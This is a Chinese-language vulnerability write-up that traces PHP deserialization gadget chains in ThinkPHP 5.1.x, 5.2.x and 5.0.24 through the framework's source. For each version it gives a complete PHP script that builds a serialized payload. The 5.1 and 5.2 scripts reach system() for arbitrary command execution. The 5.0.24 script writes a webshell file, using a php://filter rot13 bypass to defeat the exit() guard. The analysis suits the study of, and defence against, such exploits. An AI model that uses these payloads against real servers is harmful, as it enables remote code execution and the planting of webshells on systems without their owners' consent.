5.1.x
测试环境
tp5.1.35
php7.0.9
代码分析
框架最后触发执行任意命令的利用点在/thinkphp/library/think/Request.php
中的filterValue
函数,该函数中存在call_user_func($filter, $value);
,通过反序列化我们最终可以实现对$filter, $value
两个变量的控制,进而执行任意命令
从头跟一下利用链
起始触发点在thinkphp/library/think/process/pipes/Windows.php
中Windows
类的__destruct
方法
close
方法这里用不到,我们跟进一下removeFiles
方法
该方法中调用了file_exists
函数,通过这个函数我们可以将$filename
赋值成一个对象,这样在调用file_exists
函数时就会触发实例化类的__toString
方法,这样可以全局搜索__toString
方法来寻找利用点,这里使用到了thinkphp\library\think\model\concern\Conversion.php
中的__toString
方法
该方法中调用了toJson
方法,跟进一下
继续跟进toArray
方法,该方法中存在这样一段代码
在这里我们期望来找到形如$可控变量->方法(可控参数)
这样的调用模式,这样就可以使我们跳到其他类调用其他类的方法,即使方法不可控,我们也可以调用其他类的__call
方法进而继续寻找利用链,这里注意到了$relation->visible($name);
这行代码,在这里$name
是由$this->append
来决定的,可以知道该变量是可控的,接着来看$relation
,首先来看$relation = $this->getRelation($key);
中的getRelation
方法
该处返回值为NULL
,接着进入到$relation = $this->getAttr($key);
,跟进getAttr
方法
该方法返回值为$value
,因此接着跟进getData
方法
该处返回值为$this->data[$name]
,其中$name
取决于$this->data
,这里$this->data
是可控的,那么也就意味着$relation
是可控的,那么该处$relation->visible($name);
的模式为$可控变量->不可控方法(可控参数)
,该处的条件可以使我们调用任意不存在visible
方法的类的__call
方法,接着来全局搜索__call
方法,在这里我们利用到了thinkphp/library/think/Request.php
中的__call
方法
该方法中存在call_user_func_array
函数,其中第一个参数我们可以控制,第二个参数由于上面array_unshift
函数的原因,其数组中第一个值固定为当前的类对象,这种情况下我们无法去直接在此处执行任意命令,因此我们需要利用此处继续寻找利用点,在Request类中可以发现有如下方法
该方法中存在着call_user_func
这个函数,如果想办法来控制这个函数的两个参数就可以执行任意命令,我们需要来寻找一下何处调用了filterValue
方法,这里我们选择同类下的input方法
该方法中使用array_walk_recursive
函数来调用了filterValue
方法,在这里$data
决定着filterValue
的前两个参数,我们目前无法控制,$filter
决定着第三个参数,它来源于该行代码
1
| $filter = $this->getFilter($filter, $default);
|
跟进getFilter
方法
可以看到$filter
最终由$this->filter
决定,是可控的,接着为了控制$data
的值,我们需要继续寻找调用input
方法的方法,这里使用了param方法
函数返回值处调用了input
方法
该处$this->param
可控,其值为$_GET
的值,我们在访问时加上参数即可控制,但该处$name是不可控的,因此在这里需要继续寻找调用param
方法的方法,在此使用了isAjax
方法
该处$this->config['var_ajax']
是可控的,那么param
方法的$name
就是可控的,因此input方法中的$name就可控了,这里就可以绕过该处代码使其不受$data = $this->getData($data, $name);
的影响
目前我们可以控制$data
和$filter
,这也就意味着我们可以执行命令了
最后梳理下链的流程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| 反序列化触发 | (class Windows)->__destruct | (class Windows)->removeFiles | (trait Conversion)->__toString | (trait Conversion)->toJson | (trait Conversion)->toArray | (class Request)->__call | (class Request)->isAjax | (class Request)->param | (class Request)->input | (class Request)->filterValue->call_user_func()
|
payload编写
理清楚链的流程后对于payload
的编写相对来说容易一些,其中在利用的过程中使用到trait Conversion
与trait Attribute
,他们是不能被实例化的,所以我们需要找到引用了这两个trait
的类来进行实例化,这里使用了thinkphp/library/think/Model.php
中的Model
类
该类的类型为abstract
,是一个抽象类,也是无法实例化的,这里还要继续寻找Model
类的子类,搜索发现到thinkphp/library/think/model/Pivot.php
中的Pivot
类,因此exp
编写如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| <?php namespace think; use think\facade\Cookie; use think\facade\Session; class Request{ protected $config = []; protected $hook = []; protected $filter; public function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'']; $this->hook = ["visible"=>[$this,"isAjax"]]; } } namespace think;
abstract class Model{ private $data = []; protected $append = []; public function __construct(){ $this->append=['a'=>['b'=>'c']]; $this->data = ['a'=>new Request()]; } }
namespace think\process\pipes; abstract class Pipes{
} namespace think\model;
use think\Model;
class Pivot extends Model { } namespace think\process\pipes; use think\Process;
use think\model\Pivot; class Windows{ private $files = []; public function __construct(){ $this->files = [new Pivot()]; } } use think\process\pipes\Windows; echo urlencode(serialize(new Windows()));
|
利用截图
参考链接
https://xz.aliyun.com/t/6467
https://paper.seebug.org/1040/
5.2.x
测试环境
tp5.2.0
php7.3.4
代码分析
5.2.0
版本的链在前半部分与5.1
版本相同,通过vendor/topthink/framework/src/think/process/pipes/Windows.php
中的windows
类的__destruct
方法触发,接着通过removeFiles方法触发vendor/topthink/framework/src/think/model/concern/Conversion.php
中Conversion
的__toString
方法
跟进toJson
方法
继续跟进toArray
方法,需要关注下面的代码段
跟进这个getAttr
方法
它的返回值是另一个方法的返回值,跟进这个方法
在该方法中存在着$value = $closure($value, $this->data);
这样一处动态调用,我们可以探究一下$closure
,$value
,$this->data
这三处是否可控,其中$this->data
是直接可控的
那么来看$closure
,其值由$this->withAttr[$fieldName];
决定的,其中$this->withAttr
是可控的,现在需要知道$fieldName
是否可控,$fieldName
的值由$this->getRealFieldName($name);
决定,跟进getRealFieldName
方法
这里的$this->strict
默认值为true
,那么该函数的返回值为$name
,该变量是getValue
方法的第一个参数,也就是getAttr
方法的参数,如下图
在toArray
方法中,该参数为$data
的一个键值,如图
在这里可以看到$data
是可控的,那么意味着$closure
是可控的
接着看一下$value
,在getValue
方法中,$relation
为flase
,所以这里的$value
是当作参数传进来的,如图
向前面找可以看到$value
是getData
方法的返回值,如图
跟进该方法
该处$fieldName
, $this->data
都是可控的,这意味着$value
是可控的,在这里$closure($value, $this->data);
就完全可控了,我们可以构造如下的动态调用来执行系统命令
payload编写
有了上面的分析流程,结合分析5.1的经验,很容易编写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php namespace think; abstract class Model{ private $withAttr = []; private $data = []; private $relation = []; function __construct(){ $this->relation = ['yemoli'=>'whoami']; $this->data = array(); $this->withAttr = ['yemoli'=>'system']; } }
namespace think\process\pipes; use think\model\concern\Conversion; use think\model\Pivot; class Windows { private $files = [];
public function __construct() { $this->files=[new Pivot()]; } } namespace think\model; use think\Model;
class Pivot extends Model { } use think\process\pipes\Windows; echo urlencode(serialize(new Windows())); ?>
|
参考链接
https://xz.aliyun.com/t/6476
5.0.24
测试环境
Linux
php5.6
tp5.0.24
代码分析
该版本下利用方式是通过反序列化达到写文件的目的,我们来跟一下链
开始位置同样是位于thinkphp/library/think/process/pipes/Windows.php
中的windows
类的__destruct
方法,该方法调用removeFiles
方法,利用removeFiles
可以实现对任意类__toString
方法的触发,这里选择触发位于thinkphp/library/think/Model.php
中的Model
类的__toString
方法
1 2 3 4
| public function __toString() { return $this->toJson(); }
|
跟进toJson
方法
1 2 3 4
| public function toJson($options = JSON_UNESCAPED_UNICODE) { return json_encode($this->toArray(), $options); }
|
继续跟进toArray
,列出关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| public function toArray() { $item = []; $visible = []; $hidden = [];
$data = array_merge($this->data, $this->relation); ..... ..... ..... if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { $relation = $this->getAttr($key); $item[$key] = $relation->append($name)->toArray(); } elseif (strpos($name, '.')) { list($key, $attr) = explode('.', $name); $relation = $this->getAttr($key); $item[$key] = $relation->append([$attr])->toArray(); } else { $relation = Loader::parseName($name, 1, false); if (method_exists($this, $relation)) { $modelRelation = $this->$relation(); $value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) { $bindAttr = $modelRelation->getBindAttr(); if ($bindAttr) { foreach ($bindAttr as $key => $attr) { $key = is_numeric($key) ? $attr : $key; if (isset($this->data[$key])) { throw new Exception('bind attr has exists:' . $key); } else { $item[$key] = $value ? $value->getAttr($attr) : null; } } continue; } } $item[$name] = $value; } else { $item[$name] = $this->getAttr($name); } } } } return !empty($item) ? $item : []; }
|
我们的目的是到达如下代码段
我在该函数中对于__call
方法的触发不同于参考文章,直接跟进getRelationData
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| protected function getRelationData(Relation $modelRelation) { if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) { echo "<br>fuction called"; $value = $this->parent; } else { if (method_exists($modelRelation, 'getRelation')) { $value = $modelRelation->getRelation(); } else { throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation'); } } return $value; }
|
这里我们注意下$modelRelation
参数,他的值由$modelRelation = $this->$relation();
这句得到,$relation
值由$name
决定,$name
值由$this->append
决定,是可控的,那么这里我们就可以调用我们可控的方法,这里选择Modle
类中的getError
方法,因为其返回值直接可控
1 2 3 4
| public function getError() { return $this->error; }
|
在这里$modelRelation
就是完全可控的,在getRelationData
方法中,执行到$value = $modelRelation->getRelation();
时,就可以执行任意类的getRelation
方法,这里选择位于thinkphp/library/think/model/relation/HasOne.php
的HasOne
类的getRelation
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public function getRelation($subRelation = '', $closure = null) { $localKey = $this->localKey; if ($closure) { call_user_func_array($closure, [ & $this->query]); } $relationModel = $this->query ->removeWhereField($this->foreignKey) ->where($this->foreignKey, $this->parent->$localKey) ->relation($subRelation) ->find();
if ($relationModel) { $relationModel->setParent(clone $this->parent); }
return $relationModel; }
|
关注如下代码段
1 2 3 4 5
| $relationModel = $this->query ->removeWhereField($this->foreignKey) ->where($this->foreignKey, $this->parent->$localKey) ->relation($subRelation) ->find();
|
这里$this->query
可控,$this->foreignKey
可控,这样就可以触发任意不存在removeWhereField
方法的类的__call
方法,这里选择触发位于thinkphp/library/think/console/Output.php
的Output
类的__call
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public function __call($method, $args) { var_dump($args); if (in_array($method, $this->styles)) { array_unshift($args, $method); return call_user_func_array([$this, 'block'], $args); }
if ($this->handle && method_exists($this->handle, $method)) { return call_user_func_array([$this->handle, $method], $args); } else { throw new Exception('method not exists:' . __CLASS__ . '->' . $method); } }
}
|
接着由于return call_user_func_array([$this, 'block'], $args);
会触发block
方法
1 2 3 4
| protected function block($style, $message) { $this->writeln("<{$style}>{$message}</$style>"); }
|
跟进writeln
方法
1 2 3 4
| public function writeln($messages, $type = self::OUTPUT_NORMAL) { $this->write($messages, true, $type); }
|
跟进write
方法
1 2 3 4
| public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL) { $this->handle->write($messages, $newline, $type); }
|
这里$this->handle
可控,我们又可以实现对任意类的write
方法的调用,这里选择位于think/session/driver/Memcache.php
的Memcache
类的write
方法
1 2 3 4
| public function write($sessID, $sessData) { return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']); }
|
同样的$this->handler
可控,这样我们可以调用其他类的set
方法,这里选择位于thinkphp/library/think/cache/driver/File.php
的File
类的set
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public function set($name, $value, $expire = null) { if (is_null($expire)) { $expire = $this->options['expire']; } if ($expire instanceof \DateTime) { $expire = $expire->getTimestamp() - time(); } $filename = $this->getCacheKey($name, true); if ($this->tag && !is_file($filename)) { $first = true; } $data = serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { $data = gzcompress($data, 3); } $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); if ($result) { isset($first) && $this->setTagItem($filename); clearstatcache(); return true; } else { return false; } }
|
这也是该链写文件的部分,看一下file_put_contents($filename, $data);
的两个参数
1 2
| $filename = $this->getCacheKey($name, true); $data = serialize($value);
|
先看$filename
,跟进getCacheKey
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| protected function getCacheKey($name, $auto = false) { $name = md5($name); if ($this->options['cache_subdir']) { $name = substr($name, 0, 2) . DS . substr($name, 2); } if ($this->options['prefix']) { $name = $this->options['prefix'] . DS . $name; } $filename = $this->options['path'] . $name . '.php'; $dir = dirname($filename);
if ($auto && !is_dir($dir)) { mkdir($dir, 0755, true); } return $filename; }
|
$filename
是由$this->options['path']
和$name
组成的,是可控的,那么$filename
就是可控的,其中md5值我们可以自己算出来
然后看一下$data
,其值由$value
决定,向上回溯会发现,该值的类型是布尔类型,也就是说我们在此处无法控制$data
的值,那么目前我们无法写任意shell
,于是接着回到set
方法中,注意到该条语句$this->setTagItem($filename);
,跟进setTagItem
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| protected function setTagItem($name) { if ($this->tag) { $key = 'tag_' . md5($this->tag); $this->tag = null; if ($this->has($key)) { $value = explode(',', $this->get($key)); $value[] = $name; $value = implode(',', array_unique($value)); } else { $value = $name; } $this->set($key, $value, 0); } }
|
该方法中最后重新调用了set
方法,其中$key = 'tag_' . md5($this->tag);
中$this->tag
可控,则$key
可控,而$value = $name
,$name
是刚刚的$filename
,那么$value
也是可控的,在此我们在这里再次调用set
方法,同时也能完全控制写入的文件名和文件内容,在写入文件内容时可以注意到如下语句
1
| $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
|
我们需要消除该处exit()
方法的限制,这里我们可以使用伪协议+rot13
编码绕过
payload编写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
| <?php namespace think\session\driver; use think\cache\driver\File; class Memcached{ protected $handler = null; function __construct(){ $this->handler = new File(); } }
namespace think\cache; abstract class Driver{ function __construct(){ } }
namespace think\cache\driver; use think\cache\Driver; class File extends Driver{ protected $tag; protected $options = []; function __construct(){ $this->tag = 'nocatch'; $this->options = [ 'cache_subdir'=>false, 'prefix'=>'', 'path'=>'php://filter/write=string.rot13/resource=./static/<?cuc cucvasb();?>', 'data_compress'=>false, ]; } }
namespace think\console; use think\session\driver\Memcached; class Output{ private $handle = null; protected $styles = []; function __construct(){ $this->styles = ['removeWhereField']; $this->handle = new Memcached(); } }
namespace think\model; use think\console\Output; abstract class Relation{ protected $query; protected $foreignKey; function __construct(){ $this->query = new Output(); $this->foreignKey = "aaaaaaaaa"; } }
namespace think\model\relation; use think\model\Relation; abstract class OneToOne extends Relation{
}
namespace think\model\relation; class HasOne extends OneToOne{ }
namespace think; use think\model\relation\HasOne; use think\console\Output; abstract class Model{ protected $append = []; protected $error; protected $parent; function __construct(){ $this->append = ['yemoli'=>'getError']; $this->error = new HasOne(); } }
namespace think\process\pipes; use think\model\concern\Conversion; use think\model\Pivot; class Windows { private $files = [];
public function __construct() { $this->files=[new Pivot()]; } }
namespace think\model; use think\Model; class Pivot extends Model { }
use think\process\pipes\Windows; echo base64_encode(serialize(new Windows())); ?>
|
参考链接
https://www.anquanke.com/post/id/196364an